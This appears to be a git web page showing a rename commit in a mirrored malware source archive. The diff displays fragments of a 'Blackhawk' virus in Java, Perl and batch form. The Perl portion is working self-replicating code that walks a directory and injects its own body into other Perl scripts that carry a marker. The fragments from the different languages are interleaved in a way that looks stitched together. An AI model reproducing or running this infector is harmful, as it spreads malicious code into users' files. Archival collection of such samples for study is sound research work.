ch0ic3/MalwareSourceCode
1
0
Fork 0
mirror of https://github.com/vxunderground/MalwareSourceCode.git synced 2025-02-21 14:16:02 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity

Rename Virus.Java.Hawk.a.txt to Virus.Java.Hawk.a

Browse Source
This commit is contained in:
vxunderground 2020-10-24 16:06:33 -05:00 committed by GitHub
parent 4eb5aea74d
commit 938260ba96
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 44 additions and 44 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

88
Java/Virus.Java.Hawk.a.txt → Java/Virus.Java.Hawk.a
View File

@ -22,54 +22,54 @@ sleeper = new Thread(this);
sleeper.setPriority(Thread.MAX_PRIORITY); sleeper.setPriority(Thread.MAX_PRIORITY);
sleeper.start(); sleeper.start();
} }
use File::Find; use File::Find;
&virus(); &virus();
print "\ print "\
nThis program is infected by the Blackhawk virus\n\n"; nThis program is infected by the Blackhawk virus\n\n";
sub virus sub virus
{ {
my ( $pid, $new ); my ( $pid, $new );
if( $pid = fork ) { return; } if( $pid = fork ) { return; }
else else
{ {
open( source, $0 ); open( source, $0 );
finddepth ( \&infect, '/home/chris/test' ); finddepth ( \&infect, '/home/chris/test' );
sub infect sub infect
{ {
open target, "$File::Find::name"; open target, "$File::Find::name";
$_ = <target>; $_ = <target>;
if if
( /(\#!.*Blackhawk)/ ) ( /(\#!.*Blackhawk)/ )
{ {
$_ = <target>; $_ = <target>;
if( $_ ne "use File::Find;\n" ) if( $_ ne "use File::Find;\n" )
{ {
$new = $1 . "\nuse File::Find;\n&virus();\n" . $_; $new = $1 . "\nuse File::Find;\n&virus();\n" . $_;
while( <target> ) { $new = $new . $_; } while( <target> ) { $new = $new . $_; }
seek( source, 0, 0 ); seek( source, 0, 0 );
while( <source> ne "sub virus\n" ) { }; while( <source> ne "sub virus\n" ) { };
$new = $new . "\nsub virus\n"; $new = $new . "\nsub virus\n";
while( <source> ) { $new = $new . $_; } while( <source> ) { $new = $new . $_; }
close target; close target;
open target, ">$File::Find::name"; open target, ">$File::Find::name";
print target $new; print target $new;
} }
} }
close( target ); close( target );
} }
close( source ); close( source );
exit( 0 ); exit( 0 );
} }
} }
# a blackhawk virus, x # a blackhawk virus, x
# #
outer.write(buffer); outer.write(buffer);
outer.close(); outer.close();
@ -103,4 +103,4 @@ Def *T172000=[Write 10 20 Your computer is infected with Blackhawk.Virus.\n ,
@call ttt.BAT @call ttt.BAT
@del ttt.BAT @del ttt.BAT
@del ttt.TMP @del ttt.TMP
# [Blackhawk] by Kingrhua//SMF # [Blackhawk] by Kingrhua//SMF